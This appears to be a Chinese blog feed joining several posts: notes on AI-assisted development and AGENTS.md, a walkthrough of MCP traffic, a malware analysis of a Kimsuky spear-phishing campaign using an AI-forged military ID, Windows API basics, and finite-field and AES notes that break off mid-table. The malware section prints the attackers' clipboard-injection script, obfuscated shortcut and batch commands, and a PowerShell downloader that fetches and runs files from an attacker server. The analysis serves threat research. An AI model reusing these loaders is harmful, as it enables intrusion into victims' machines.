每个阶段都会产出对应的文档或代码，这些产出都需要经过人工审查。审查的重点会随着阶段前移而提高：越靠前的环节，其结论和决策对后续影响越大，因此审查也应越严格。

换言之，应当重文档、轻代码——前期通过对调研报告和技术方案的严格审查，尽可能消除方向性错误；一旦进入实现阶段，代码改动本身反而更偏向执行与验证，其审查成本也相对可控。

代码库优化

在引入代码智能体之后，代码库中的文档不再只有一个受众。因此，需要对代码库文档结构做有意识的拆分。

README.md

README.md 的定位是面向人类的入口文档，其目标是帮助开发者快速理解项目，常见的章节包括：

• 项目简介
• 快速上手指南
• 基本使用方式
• 贡献指南

AGENTS.md

与 README.md 相对应，AGENTS.md 的定位是面向代码智能体的入口文档，其目标是提供精确的上下文，常见的章节包括：

• 架构介绍，列举关键模块与模块之间的职责边界
• 构建与测试命令，明确指出标准构建方式、测试入口以及常见组合命令
• 代码风格与约定，包括命名规范、目录约定、是否允许自动格式化等
• 测试流程，哪些测试必须通过
• 安全与限制，禁止修改的目录、敏感文件、外部依赖使用限制等

大部分代码智能体会约定性地读取 AGENTS.md，而不是让用户显示说明。虽然 README.md 通常也会被读取，但只有 AGENTS.md 被视为必须遵守的规则。

封面图

背景

大模型应用需要面对训练数据或是模型本身的局限性。

一个直观的例子是：用户想要应用根据最近的天气预报来去制定旅行计划。但天气属于实时数据，通常不包含在模型的训练数据中。此时，大模型本身无法给出可靠答案，应用需要依赖某个天气预报服务来完成任务。

另外一个更典型的例子是计数问题。大模型本身不擅长计数，这是由于其工作机制决定的。模型在底层会将文本拆分为词元（token）进行概率预测，而不是逐字符处理，因此在涉及字符频率、精确数量等问题时，输出往往不稳定：

但与此同时，大模型很擅长生成解决计数问题的代码：

在这种情况下，应用只需要调用本地的 Python 解释器执行这段代码，就可以得到准确结果。如今市面上的大多数 AI 对话产品，在处理复杂计算、数据分析等问题时，都会在幕后调用计算器、代码解释器或其他工具。大模型本身只负责理解问题并给出“该做什么”，而不真正参与计算过程。

按照传统方式开发大模型应用，开发者需要为每一个工具（远端服务或是本地能力）单独编写一套交互逻辑，包括但不限于：接口协议、身份认证、参数校验、错误处理以及权限控制。这种模式在系统规模较小时尚可接受，但随着工具数量增加，其缺陷会迅速放大——

• 新增一个工具，就要改一轮应用代码
• 工具接口一旦变更，应用需要同步调整
• 不同应用之间几乎无法复用同一套集成逻辑
  这种高度耦合、缺乏标准化的方式，并不具备良好的拓展性，也逐渐成为限制大模型应用进一步演进的瓶颈。

正是在这样的背景下，Model Context Protocol（MCP）被提出，用来系统性地解决“大模型应用如何与外部系统沟通”的问题。

MCP 概述

MCP 遵循客户端–服务端架构，其核心目标是为大模型使用外部工具提供一套统一、标准化的交互框架。在这一架构中，大模型应用并不直接与具体工具或服务交互，而是通过 MCP 这一协议层完成能力发现与调用。

• MCP 客户端（Client）
  MCP 客户端通常嵌入在大模型应用内部，负责将模型产生的工具调用意图转化为符合协议规范的请求。同时，它会接收并解析来自 MCP 服务端的响应结果，再将结果注入回模型上下文或应用逻辑中。

• MCP 服务端（Server）
  MCP 服务端通常由具体工具或能力的提供方实现，用于对外暴露其可用能力。这些能力以标准化的形式描述，包括工具列表、调用参数、返回结构以及必要的说明信息，而不关心客户端或模型的具体实现。

客户端与服务端之间通过标准化的 JSON-RPC 消息格式进行交互。这种设计使协议本身不依赖于具体的底层传输方式，既可以运行在 HTTP、TCP、WebSocket 之上，也可以通过本地 pipe 等方式进行通信。

实例搭建

我们可以用 Cloudflare 提供的 MCP 服务模板迅速搭建一个服务实例。打开终端，执行以下命令：

1
2
3

npm create cloudflare@latest -- my-mcp-server --template=cloudflare/ai/demos/remote-mcp-authless
cd my-mcp-server
npm start

程序成功启动后，会在终端中输出服务监听的端口号：

接下来启动 MCP Inspector。该工具可以作为一个临时的 MCP 客户端，用于测试和调试 MCP 服务端提供的能力。打开一个新的终端窗口并执行：

1

npx @modelcontextprotocol/inspector@latest

启动成功后，会进入 MCP Inspector 的控制台界面。此时需要在左侧配置连接参数，将端口号替换为前面 MCP 服务启动时打印的端口号即可完成连接：

至此，实例搭建完成。

流量分析

我们可以使用 Chrome 浏览器的开发者工具（F12，切换到 Network 标签页）对 MCP 的通信过程进行流量分析。过滤条件选择 Fetch/XHR，以便只关注由 JavaScript 发起的网络请求。

在当前示例中，MCP 采用的是 HTTP 请求 + SSE（Server-Sent Events）推流 的传输模式。因此，在任何 MCP 消息发送之前，客户端会首先与服务端建立一条 SSE 长连接：

1
2
3
4
5
6
7
8
9

>>
GET /sse HTTP/1.1
Accept: text/event-stream
...

<<
HTTP/1.1 200 OK
Content-Type: text/event-stream
...

该请求的响应不会立即结束，而是保持打开状态，用于后续持续接收服务端推送的事件。

查看 SSE 响应流，可以看到服务端向客户端推送的第一条事件是 endpoint：

1
2

event: endpoint
data: /sse/message?sessionId=d281d68617db3d18923a008d7a19737a3ee81f2ce2b2cbf426861b30db4cd6d3

这是一条传输层控制事件，用于告知客户端后续上行请求应当访问的路径，并同时分配本次会话所使用的 sessionId。需要注意的是，这一过程并不属于 MCP 协议本身，而是 MCP over SSE 的实现约定。

在此之后，客户端发送的所有 MCP 请求，其基本形式均为：

1
2
3
4

POST /sse/message?sessionId=d281d68617db3d18923a008d7a19737a3ee81f2ce2b2cbf426861b30db4cd6d3 HTTP/1.1
Accept: text/event-stream
Content-Type: application/json
...

在请求被成功接收的情况下，服务端会立即返回：

1
2
3

HTTP/1.1 202 Accepted
Content-Length: 8
Content-Type: text/event-stream

该响应仅表示请求已被接收并进入处理流程，而不包含任何业务结果。当服务端完成实际处理后，会将结果通过之前建立的 SSE 通道推送给客户端：

1
2

event: message
data: {事件载荷}

这种“请求与响应分离”的通信模式与传统 HTTP 接口有明显不同，但它带来的好处也很直观：客户端可以在同一时间并发发起多个工具调用请求，而无需等待某个请求返回后才能继续发送下一个。

MCP 握手

在 MCP 会话建立阶段，客户端与服务端会完成一次明确的初始化流程。该流程由两条 JSON-RPC 消息构成，通常被称为“两阶段握手”。

第一阶段，客户端发送 initialize 请求：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

{
  "jsonrpc": "2.0",
  "id": 0,
  "method": "initialize",
  "params": {
    "protocolVersion": "2025-11-25",
    "capabilities": {
      "sampling": {},
      "elicitation": {},
      "roots": { "listChanged": true }
    },
    "clientInfo": {
      "name": "inspector-client",
      "version": "0.18.0"
    }
  }
}

该请求主要完成三项工作：

1. MCP 协议版本声明：通过 protocolVersion 指明客户端期望使用的协议版本
2. 客户端能力声明：通过 capabilities 告知服务端客户端能够理解和处理的协议特性
3. 客户端身份信息：通过 clientInfo 提供用于调试和日志的客户端信息

服务端在收到该请求后，会通过 SSE 推送一条 message 事件作为响应：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

event: message
data: {
  "jsonrpc": "2.0",
  "id": 0,
  "result": {
    "protocolVersion": "2025-06-18",
    "capabilities": {
      "tools": { "listChanged": true }
    },
    "serverInfo": {
      "name": "Authless Calculator",
      "version": "1.0.0"
    }
  }
}

该响应同样完成了三件事：

1. 确定最终使用的协议版本：若双方版本不同，以服务端返回的版本为准
2. 服务端能力声明：tools.listChanged 表示工具列表在会话期间可能发生变化
3. 服务端身份信息：用于标识当前 MCP 服务

在客户端成功处理完上述响应后，会发送第二阶段的通知：

1
2
3
4

{
  "jsonrpc": "2.0",
  "method": "notifications/initialized"
}

该消息用于显式告知服务端：客户端已完成初始化，可以进入正常通信阶段。该通知不要求服务端返回任何内容。

工具发现

在 MCP Inspector 中点击 List Tools 后，客户端会发起如下请求以获取可用工具列表：

1
2
3
4
5
6
7
8
9
10

{
  "id": 1,
  "jsonrpc": "2.0",
  "method": "tools/list",
  "params": {
    "_meta": {
      "progressToken": 1
    }
  }
}

服务端随后通过 SSE 推送工具清单：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

{
  "id": 1,
  "jsonrpc": "2.0",
  "result": {
    "tools": [
      {
        "name": "add",
        "inputSchema": {
          "$schema": "http://json-schema.org/draft-07/schema#",
          "type": "object",
          "properties": {
            "a": { "type": "number" },
            "b": { "type": "number" }
          },
          "required": ["a", "b"]
        }
      },
      {
        "name": "calculate",
        "inputSchema": {
          "$schema": "http://json-schema.org/draft-07/schema#",
          "type": "object",
          "properties": {
            "operation": {
              "type": "string",
              "enum": ["add", "subtract", "multiply", "divide"]
            },
            "a": { "type": "number" },
            "b": { "type": "number" }
          },
          "required": ["operation", "a", "b"]
        }
      }
    ]
  }
}

其中 result.tools 描述了每个工具的名称及其参数结构规范（JSON Schema）。客户端或模型会依据这些信息决定调用哪个工具，并生成合法的调用参数。

工具调用

在控制台中选择 add 工具，填写参数并点击运行后，客户端会发送如下请求：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

{
  "id": 2,
  "jsonrpc": "2.0",
  "method": "tools/call",
  "params": {
    "_meta": {
      "progressToken": 2
    },
    "name": "add",
    "arguments": {
      "a": 1,
      "b": 1
    }
  }
}

params 字段中包含了工具调用所需的全部信息，包括工具名称和调用参数。服务端在完成计算后，会将结果通过 SSE 推送回客户端：

1
2
3
4
5
6
7
8
9
10
11
12

{
  "id": 2,
  "jsonrpc": "2.0",
  "result": {
    "content": [
      {
        "type": "text",
        "text": "2"
      }
    ]
  }
}

需要注意的是，MCP 并不强制规定工具返回结果的结构。上述 content 形式是一种常见的实现约定，用于表示可直接展示给用户或模型的文本内容。MCP Inspector 会对该结构进行 UI 层解包，仅展示其中的文本部分。

结语

MCP 的价值并不在于引入了新的能力，而在于把大模型与外部能力之间的交互方式标准化。通过清晰的分层设计，模型只需要表达“要做什么”，而具体的执行、传输和会话管理都被放在了协议和实现层中完成。

2025 年 7 月 17 日，韩国网络安全公司 Genians Inc. 检测到了一起来自 Kimsuky 组织的网络攻击。Kimsuky 是一个源自朝鲜的高级持续性威胁组织（APT），被普遍认为与朝鲜侦察总局（RGB）有关。在此次攻击其伪装成负责韩国军方官员身份证签发的相关机构。

本文旨在探讨在该案例中生成式 AI 伪造技术的应用。该技术的起源可追溯于 2017 年一名红迪用户使用了深度学习模型生成了包含名人面孔的色情视频，在这之后冒出了一系列利用 AI 模型生成接近真人的虚假图像、视频或音频的技术。由于普遍使用了深度学习模型，此类技术被统称为深度伪造。

封面图

前奏：钓鱼

2025 年 6 月 2 日，多起钓鱼攻击指向在韩从事研究或抗议朝鲜政权相关活动的个人。这些攻击冒充网站的邮件服务：

邮件中的发件人邮箱域名以及按钮链接均为由攻击者控制的钓鱼网站：

当点击底部的按钮时，受害者会被跳转到网站的机器人验证页面：

网站前端的 JS 脚本包含如下内容：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

function Main_Function(){
    var powershell = "wget -Uri " + szurl + "?o=" + dwOTP + " -OutFile music\\x.bat;music\\x.bat";
    var bytes = '';
    for (var i = 0; i < powershell.length; i++) {
        bytes += powershell[i];
        bytes += '\0';
    }
    const textToCopy = "powershell -eC " + btoa(bytes);
    document.getElementById("not_robot").addEventListener("change", function(e){
        if (e.target.checked) {
            const textArea = document.createElement("textarea");
            textArea.value = textToCopy;
            document.body.appendChild(textArea);
            textArea.select();
            document.execCommand("copy");
            document.body.removeChild(textArea);
            dialog.showModal();
        }
    });
}

这段脚本偷偷将恶意命令写入系统剪切板，如果受害者按照网页上的确认步骤照做，这段恶意命令会被执行。该命令从攻击者控制的服务器，jiwooeng.co.kr，分阶段地下载一个 CAB 压缩包，解压后出现一个名为 HncUpdateTray.exe 的可执行文件，该文件的命名是为了伪装成 Hancom Office（韩国的办公软件，类似于 Microsoft Office）的更新程序。该文件在执行后会将宿主设备纳入攻击者的控制内。

中章：鱼叉式钓鱼

7月，攻击者对钓鱼手法进行了升级，基于目标的身份精心定制了钓鱼流程：

发件人使用了与韩国某军事机构官方域名高度相似的域名，以征求草案意见为由令收件人下载附件。附件名称的打码部分为收件人的真实姓名。附件解压后会得到一个 Windows 快捷方式文件 公务员证明草稿(<收件人姓名>).lnk，其目标属性中的部分命令如下所示：

1
2

%windir%\syswow64\cmd.exe /k "Set ab901ab=jBdv8X7pIwSzV5s62otf9Pk1WaeAyc4OuERbi30lxmUnZYrh 
&& call %ab901ab:~7,1%%ab901ab:~17,1%%ab901ab:~9,1%%ab901ab:~26,1%%ab901ab:~46,1%%ab901ab:~14,1%%ab901ab:~47,1%%ab901ab:~26,1%%ab901ab:~39,1%%ab901ab:~39,1%"

这段命令启动 32 位版本的 cmd.exe 设置了长字符串变量 ab901ab，接着调用了 call 命令，其参数为一连串变量子字符串截取表达式：

• %ab901ab:~7,1%：指代变量 ab901ab 的第 7 位开始第 1 个字符（从 0 开始数） – p
• %ab901ab:~17,1%：指代变量 ab901ab 的第 17 位开始第 1 个字符 – o
• %ab901ab:~9,1%：指代变量 ab901ab 的第 9 位开始第 1 个字符 – w
• …
  以此类推，示例中的表达式的值为 powershell，表达式前的 call 让其组成的字符串能够被当作命令执行。该模式通过定义一个字母表及使用表达式对字母表中的字符进行引用混淆了原本的恶意指令，使其更难被察觉。目击到的完整命令还原后如下所示：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

powershell -executionpolicy bypass -command "
$IRxxm3srXAU = 'http://www.jiwoong.co.kr/zb41p17/bbs/icon/private_name/private.php';

$EYo7iwjP20YWe = @(
    @{
        s = 'YSHQ7MmZhdfJ4S4RcUD22';
        k = 'LhUdPC3GH76vSupcOmK8gb2wbdNNRUWLhU';
        d = '임무명령 초안(<收件人姓名>).png';
        w = $true;
    },
    @{
        s = 'LhUdPC3GH76vSupc';
        k = 'LhUdPC3GH76vSupcOmK8gb2wbdNNRUW';
        d = 'LhUdPC36.bat';
        w = $false;
    }
);

foreach ($B8eBvfP98Vur in $EYo7iwjP20YWe) {
    $zIR_2Wu = "$IRxxm3srXAU" + '?nickname=' + "$($B8eBvfP98Vur.s)" + [char]38 + 'privatekey=' + "$($B8eBvfP98Vur.k)";
    $kmvOXZRZX3URS = $env:temp + "$($B8eBvfP98Vur.d)";

    curl "$zIR_2Wu" -o "$kmvOXZRZX3URS";

    if ($B8eBvfP98Vur.w) {
        Start-Process "$kmvOXZRZX3URS";
    } else {
        Start-Process "$kmvOXZRZX3URS" -WindowStyle hidden;
    }
}

这段 Powershell 脚本从攻击者控制的服务器下载了一张图片 임무명령 초안(<收件人姓名>).png 以及一个批处理文件 LhUdPC36.bat 到临时文件夹 $env:temp 并打开/执行。其中，字符串变量 IRxxm3srXAU 存储了基础下载地址，数组变量 EYo7iwjP20YWe 存放了每个文件的相关信息：

• s：下载 Url nickname 参数
• k：下载 Url privatekey 参数
• w：执行时是否不隐藏程序窗口
  下载的图片为邮件中征求意见的军人ID草稿，如下图所示：

批处理文件的部分代码如下所示：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

@echo off
Set atp7s2j1=kI7Uot3p61COMBSHKZqeriTmFbdENj1Lnxqy@SGWAscuzwPvD4tha

%atp7s2j1:~41,1%%atp7s2j1:~19,1%%atp7s2j1:~5,1%%atp7s2j1:~51,1%%atp7s2j1:~26,1%

:Start_juice
%atp7s2j1:~5,1%%atp7s2j1:~21,1%%atp7s2j1:~23,1%%atp7s2j1:~19,1%%atp7s2j1:~4,1%
%atp7s2j1:~42,1%%atp7s2j1:~43,1%%atp7s2j1:~20,1%%atp7s2j1:~9,1% "headerurl"
%atp7s2j1:~21,1%%atp7s2j1:~50,1%%atp7s2j1:~32,1%%atp7s2j1:~4,1%%atp7s2j1:~5,1%
%atp7s2j1:~34,1%%atp7s2j1:~4,1%%atp7s2j1:~5,1%%atp7s2j1:~4,1%%atp7s2j1:~1,1%
)
%atp7s2j1:~50,1%%atp7s2j1:~4,1%%atp7s2j1:~20,1% %atp7s2j1:~21,1%
%atp7s2j1:~21,1%%atp7s2j1:~50,1% XFSIZE% %atp7s2j1:~34,1%%atp7s2j1:~5,1%
%atp7s2j1:~26,1%%atp7s2j1:~19,1%%atp7s2j1:~9,1% /*%atp7s2j1:~50,1% /x%atp7s2j1:~}
%atp7s2j1:~34,1%%atp7s2j1:~4,1%%atp7s2j1:~5,1%%atp7s2j1:~4,1%%atp7s2j1:~14,1%

:Extract_juice
%atp7s2j1:~21,1%%atp7s2j1:~50,1%%atp7s2j1:~19,1%%atp7s2j1:~33,1%%atp7s2j1:~21,1%
%atp7s2j1:~19,1%%atp7s2j1:~33,1%%atp7s2j1:~7,1%%atp7s2j1:~52,1%%atp7s2j1:~32,1%
%atp7s2j1:~41,1%%atp7s2j1:~42,1%%atp7s2j1:~51,1%%atp7s2j1:~5,1%%atp7s2j1:~52,1%
%atp7s2j1:~26,1%%atp7s2j1:~19,1%%atp7s2j1:~9,1% /*%atp7s2j1:~50,1% /x%atp7s2j1:~}
)

混淆模式与之前相同，设置环境变量 atp7s2j1 作为字母表然后使用表达式引用将字符逐个组合成恶意命令。完整脚本被还原后的执行流如下图所示：

该脚本在延迟 7 秒后从 C2 服务器下载了文件 privname173.cab 并解压到 C:\ProgramData，中间如果任何环节出错会跳转到 Start_juice 分支重新下载。随后在 Extract_juice 分支将解压出的 HncAutoUpdateTray.exe 注册为每 7 分钟执行一次的计划任务，任务名称被设置为 HncAutoUpdateTaskMachine 以便伪装成 Hancom Office 的更新程序。该任务会载入并执行 HncAutoUpdateTray.exe 同目录下的 AutoIt 脚本 config.bin，该脚本变量定义部分如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

Global $ocomerrorhandler = ObjEvent("AutoIt.Error", "upKoXDcM")

Local $sbxmfljmg = msdbvxez("G?NC96[rrlgy", "6511988208693")
Local $ndexqvwc    = msdbvxez(" gg]gyx=-17;", "927782534129")
Local $izscpxux    = msdbvxez("USXEK37ALJJv[um]ou%3+3", "800811933367")
Local $khabtatx    = msdbvxez("g-", "59892981245052")
Local $lfqwxybb    = msdbvxez("keg\]dyc20", "94756362449901")
Local $nmpogecn    = msdbvxez("[cfDoux&5frNlpKQmwyqboz61)0", "46845188043")
Local $juqrcns     = msdbvxez("NAM", "747108918197")
Local $vvajpije    = msdbvxez("Wpcm$Cj'jo", "2329523745752")
Local $qcffuoke    = msdbvxez("EJHIRUKLN9UG", "25573166088225")
Local $pzqvxcmw    = msdbvxez("pqok127pnt2jatjinq_Zr2kj,ug=.he@2^bk,nhfk'w{fralhdiXjm6goeviw`gkx8e^ieE", "835593879340")
Local $zkczmqub    = msdbvxez("Tkvciqf+44o'$Sckitsr*n|#-+5@Ven=07~u;9%Adna++083---", "74463554140")
Local $tmylhlop    = msdbvxez("]p*dmrwfp^um/,1]d\q", "147932536318")
Local $tjpvtfse    = msdbvxez("=^kkd", "1892870715")

Func msdbvxez($fzyvtqqu, $wcixylhe)
    Local $vgeuqkxw = [0,1,1,1,1,0,0,1,1,1,1,0] ; bit mask array used for op selection
    Local $fyebqaod = ""
    Local $mktqubos  = StringLen($wcixylhe)
    Local $utaeuxnj  = UBound($vgeuqkxw)

    For $wycklhol = 1 To StringLen($fzyvtqqu)
        Local $auzigwng = Asc(StringMid($fzyvtqqu, $wycklhol, 1))
        Local $yjmrmhoj = Number(StringMid($wcixylhe, (Mod(($wycklhol - 1), $mktqubos) ) + 1, 1))
        Local $pmwhexey = $vgeuqkxw[Mod(($wycklhol - 1), $utaeuxnj)]

        If $pmwhexey = 1 Then
            $auzigwng += $yjmrmhoj
        Else
            $auzigwng -= $yjmrmhoj
        EndIf

        $fyebqaod &= Chr($auzigwng)
    Next

    Return $fyebqaod
EndFunc

函数 msdbvxez() 封装了定制的 Vigenere 解密器以隐蔽这些字符串的取值。第一个参数作为密文，第二个参数作为密钥，变量 vgeuqkxw 的第 i % 12 位决定了解密第 i 位密文时的操作（0 - 减，1 - 加）。还原后的定义如下：

1
2
3
4
5
6
7
8
9
10
11
12
13

Local $bxmfljmg = "ADODB.Stream"
Local $ndexqvwc = "windows-1252"
Local $izscpxux = "MSXML2.DOMDocument.6.0"
Local $khabtatx = "b64"
Local $lfqwxybb = "bin.base64"
Local $nmpogecn = "WinHttp.WinHttpRequest.5.1"
Local $iugrncsl = "GET"
Local $vvajpije = "User-Agent"
Local $qcffuoke = "COMPUTERNAME"
Local $pzqvxcmw = "http://www.jiwooeng.co.kr/zb41pl7/bbs/icon/private_name/private.php?name="
Local $zkczmqub = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Edge/133.2.1.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36"
Local $tmylhlop = "tempprivate0082.bat"
Local $tjpvtfse = "<html"

该脚本后续完成了数据盗取以及设备控制，不过这部分代码目前未被曝光。

尾声

提供生成式人工智能服务 Claude 的美国公司 Anthropic 于8月28日发布了一份题为《检测和应对人工智能滥用：2025年8月》的威胁情报报告。该报告披露了朝鲜IT从业人员滥用人工智能的案例​​。

总结

回顾一下整个流程，攻击者首先以征求军人ID草稿意见为由诱导受害者下载并打开附件包含的恶意快捷方式，接着通过快捷方式唤醒的 cmd.exe 进程调用 powershell.exe 命令从其控制的服务器上下载了 AI 伪造的军人ID草稿以及恶意批处理文件。 文件在延迟 7 秒后开始执行，这种延迟行为是为了规避沙箱以及动态分析环境中的短期监控。该文件完成了最后的恶意程序部署，将下载的可执行文件注册为系统计划任务实现对目标设备的控制。加密手段被用于混淆流程中涉及的恶意代码以增加审查难度。

参考资料

• 联合早报：疑受朝资助 黑客用ChatGPT伪造身份攻击韩目标
• freebuf: 朝鲜黑客组织Kimsuky利用ChatGPT伪造军人证件实施新型攻击
• cybernews: North Korean hacker group Kimsuky caught using AI to forge military ID cards
• hackread: North Korea’s Kimsuky Group Uses AI-Generated Military IDs in New Attack
• authropic: Detecting and countering misuse of AI: August 2025

封面图

Windows 架构

Windows 系统架构可以被简单的分为四层

• 应用 - 桌面/命令行应用，直接面向用户
• Windows API - 一系列包含了应用与系统打交道所需数据类型和函数的库，例如 ntdll.dll, advapi32.dll 以及 user32.dll，在 C 中可通过 #include <windows.h> 导入这些库，有详细的官方文档描述这些接口
• Windows 原生 API - 封装了系统调用（syscall），没有官方文档且不鼓励使用，但网上有不少破解出的接口信息，且可以被应用直接调用来去做一些 Windows API 做不到的事
• 内核 - 各种 syscall 的实现以及驱动逻辑

Windows API

数据类型

举例一些常见的数据类型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

DWORD dw = 123; // 等价于 unsigned long, 不过注意 long 在 windows 上是 32 比特
SIZE_T s = sizeof(int); // 表示 32/64 位的无符号整型，取系统的位数
PVOID p = NULL; // 等价于 void*

HANDLE handle = CreateFile(...); // 作为内核空间某个对象的引用
HMODULE = GetModuleHandle(...); // 作为某个模块（dll/exe）的引用

LPCSTR lpcString = "Hello, world!" // 等价于 const char*
PCSTR pcString = "Hello, world!" // 等价于 const char*

LPSTR lpString = "Hello, world!" // 等价于 char*
PSTR pString = "Hello, world" // 等价于 char*

LPCWSTR = L"Hello, world!"; // 等价于 const wchar*, 16 位的 Windows 宽字符
PCWSTR = L"Hello, world"; // 等价于 const wchar*

LPWSTR = L"Hello, world!"; // 等价于 wchar*
PWSTR = L"Hello, world"; // 等价于 wchar*

wchar_t wChar = L'A'; // 等价于 wchar
wchar_t* wcString = L"Hello, world!" //等价于  wchar*

PVOID p = malloc(100);
p = (ULONG_PTR)p + 10; // 转换成支持指针运算的类型

• 命名约定 - 可以发现指针类型会以 P 开头

函数

不少函数会修改某个引用传递的参数作为返回值，因此传入的参数会被分为 In 和 Out 两类，函数执行时的错误码可通过特定的接口获取

1

printf("[!] 错误: %d", GetLastError());

可以通过 Window 系统错误码清单 来去调查原因
不同于 Windows API，原生 API 会直接将错误码以返回值的形式输出

1
2
3
4

NTSTATUS status = NativeSyscall(...);
if (!NT_SUCCESS(status)) { 
  printf("[!] 错误: 0x%0.8X \n", status);
} 

且原生 API 有自己的一套错误码解释

• 命名约定 - 期待 Ascii 字符串输入的函数会以 A 结尾，例如 CreateFileA，期待 Unicode 字符串输入的则会以 W 结尾，例如 CreateFileW

本篇整理了密码学中频繁出现的一个代数结构 - 有限域 - 的数学性质以及加密算法 AES 的原理及 Python 简单实现。

对于任意质数 ，定义

该结构可以被进一步拆分成两个交换群 和 。
在 易猜的语境下，本文会省略运算符号的 下标。

费曼小定理

对于任意 ，满足

乘法逆等价表达式

根据上述定理，可得

最大公约数

对于 ，定义最大公约数 为能够整除 的最大整数。对于大数字而言基于因数分解的常规枚举法在计算上并不可行，这里给出一个计算复杂度为 的方法

计算 gcd - Euclidean 算法

对于，易证 ，利用该性质可以递归式地简化问题，直至某个输入值归零

1
2
3
4

def gcd(m,n):
if m == 0:
return n
return gcd(n % m, m)

由于 0 可以被任何数整除，基础情形下可得

延伸版 Euclidean 算法

对于任意正整数 ，存在整数 满足 ，这里只给出计算 的方法

1
2
3
4
5
6
7

def egcd(m, n):
    if n == 0:
        return m, 0, 1
    gcd, u1, v1 = egcd(n, m % n)
    u = v1 - (m//n) * u1
    v = u1
    return gcd, u, v

计算乘法逆

对于 ，使用延伸版 Euclidean 算出 , 由于 ，可得

二次根

定义 的二次根 为满足 的元素。有的元素没有二次根，比如 中只有 具有二次根，且 1 有多个二次根。拥有二次根的元素被称为二次剩余，否则被称为二次非剩余

判断二次剩余 - Legendre 符号

对于质数 ，定义 的 Legendre 符号 。
该符号提供了判断二次剩余的简单方法

• 有且只有 是二次剩余
• 有且只有 是二次非剩余
  且由于 ，可推导出二次剩余的下列性质
• 两个二次剩余的积依旧为二次剩余 -
• 两个二次非剩余的积依旧为二次非剩余 -
• 二次剩余与二次非剩余的积为二次非剩余 -

计算二次根 - Tonelli-Shanks 算法

大于 2 的质数 可被分为两类 - 和 ，对于前者可直接得出

后者的计算需要借助 Tonelli-Shanks 算法，这里只给出代码实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

def tonelli(a, p):
    assert(legendre(a, p) ==1, "not a quadratic-residue")
    q = p - 1
    s = 0
    while q % 2 == 0:
        q //= 2
        s += 1

    if s == 1 :
        return pow(a, (p + 1)//4, p)

    for z in range(2, p):
        if p - 1 == legendre(z, p):
            break

    c = pow(z, q, p)
    r = pow(a, (q+1) // 2, p)
    t = pow(a, q, p)

    m = s

    t2 = 0

    while (t - 1) % p != 0:
        t2 = (t * t) % p
        for i in range(1, m):
            if (t2 -1) % p == 0:
                break
            t2 = (t2 * t2) % p
        b = pow(c, 1 << (m - i - 1), p)
        r = (r * b) % p
        c = (b * b) % p
        t = (t * c) % p
        m = i
    return r

AES

AES，又称 Rijndael，是全世界最流行的加密算法之一，具有以下几个基本特性

• 对称性 - 加解密使用相同密钥
• 块加密 - 数据会被分割成等长的数据块逐个处理，数据块长度与密钥长度相等
• 高性能 - AES 能够很快的加密大量数据

AES 密钥长度有三种 - 128，192 及 256 比特，其中 AES-128 的使用最为广泛，本节拿 AES-128 进行示例

流程

AES 会将明文数据分割成 128 比特大小的数据块，下述流程描述了对单独数据块的处理

矩阵化

数据块转换成一个由单个字节作为元素的 状态矩阵，方便后续的各种运算

1
2

def bytes2matrix(text):
    return [list(text[i:i+4]) for i in range(0, len(text), 4)]

密钥扩展

将初始密钥使用特定算法生成 11 个同长的轮密钥

密钥相加

将状态矩阵与第一个轮密钥进行 XOR 实现初步的加密

1
2
3
4

def add_round_key(s, k):
    for i in range(4):
        for j in range(4):
            s[i][j] ^= k[i][j]

逆运算

二次执行 XOR 运算可抵消前次的影响

轮次迭代

重复 10 轮，分别对应剩余的 10 个轮密钥

替换

• AES 按照一个字节查找表，S盒 ，对状态矩阵的每个字节元素执行替换
• 该运算等价为 群上的高次多项式，这让密钥与密文之间形成的复杂的非线形关系，增加了从密文反推出密钥的难度

  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22

  s_box = ( 0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 